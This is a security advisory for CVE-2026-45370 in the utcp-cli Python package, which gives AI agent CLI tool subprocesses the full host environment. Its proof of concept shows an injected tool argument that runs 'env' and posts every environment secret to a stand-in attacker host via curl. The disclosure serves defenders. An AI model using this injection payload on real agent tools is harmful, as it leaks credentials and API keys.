---
id: CVE-2026-45370
aliases:
  - GHSA-5v57-8rxj-3p2r
  - PYSEC-2026-3395
title: >-
  python-utcp: Full Process Environment Exposed to CLI Subprocess - Secrets
  Leakage via Command Injection
summary: >-
  python-utcp: Full Process Environment Exposed to CLI Subprocess - Secrets
  Leakage via Command Injection
severity: high
cvss: 7.7
cvssVector: 'CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N'
vendor: utcp-cli
product: utcp-cli
ecosystem: pip
affected:
  - utcp-cli < 1.1.2
patched:
  - utcp-cli 1.1.2
published: '2026-05-14'
updated: '2026-07-13'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/GHSA-5v57-8rxj-3p2r'
references:
  - url: >-
      https://github.com/universal-tool-calling-protocol/python-utcp/security/advisories/GHSA-5v57-8rxj-3p2r
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2026-45370'
  - url: 'https://github.com/universal-tool-calling-protocol/python-utcp'
tags:
  - osv
  - pip
epss: 0.00223
epssPercentile: 0.12872
ingestedAt: '2026-07-13T18:57:53.469Z'
---

## Overview

## Summary

`_prepare_environment()` in `cli_communication_protocol.py` passes a full copy of `os.environ` to every CLI subprocess. When combined with the Command Injection vulnerability (CWE-78) in `_substitute_utcp_args()` tracked as GHSA-33p6-5jxp-p3x4, an attacker can exfiltrate all process-level secrets in a single tool call.

## Vulnerable Code

```python
# cli_communication_protocol.py
def _prepare_environment(self, provider: CliCallTemplate) -> Dict[str, str]:
    env = os.environ.copy()        # All secrets inherited
    if provider.env_vars:
        env.update(provider.env_vars)
    return env
```

## Impact

Any environment variable present in the host process is accessible to injected commands. In typical AI agent deployments this includes:

- Cloud provider credentials (AWS_SECRET_ACCESS_KEY, AZURE_CLIENT_SECRET)
- Database connection strings (DATABASE_URL)
- LLM API keys (OPENAI_API_KEY, ANTHROPIC_API_KEY)
- Internal service tokens

## Proof of Concept

```python
# Tool defined as:
{"command": "grep UTCP_ARG_pattern_UTCP_END logfile.txt"}

# Attacker supplies:
tool_args = {"pattern": "x; env | curl -s -d @- https://attacker.com"}

# Executed bash script:
# CMD_0_OUTPUT=$(grep x; env | curl -s -d @- https://attacker.com 2>&1)
# -> Full env dump sent to attacker including all secrets
```

## Patched

Fixed in `utcp-cli` 1.1.2. `_prepare_environment` no longer copies the full host environment. Inheritance is controlled by a new `CliCallTemplate.inherit_env_vars` field:

- `null` (default): a small built-in OS-specific allowlist (`PATH`, `HOME`, `LANG` on Unix; `PATH`, `PATHEXT`, `SYSTEMROOT`, `USERPROFILE`, etc. on Windows) is inherited so shells and binaries continue to work.
- `[]`: strict mode -- nothing from the host environment reaches the subprocess; only `env_vars` is propagated.
- `["FOO", "BAR"]`: exactly those host variables are inherited (replaces, not merges with, the default allowlist).

`env_vars` is always layered on top and overrides any inherited value. Secrets like `OPENAI_API_KEY` no longer reach the subprocess unless the call template explicitly opts them in.

## Mitigation

Upgrade to `utcp-cli >= 1.1.2`. There is no workaround in earlier versions short of stripping secrets from the host process before any CLI tool call.

## Credit

Reported by @ZeroXJacks.

## Affected packages

- `utcp-cli < 1.1.2`

## Remediation

Upgrade to a patched release:

- `utcp-cli 1.1.2`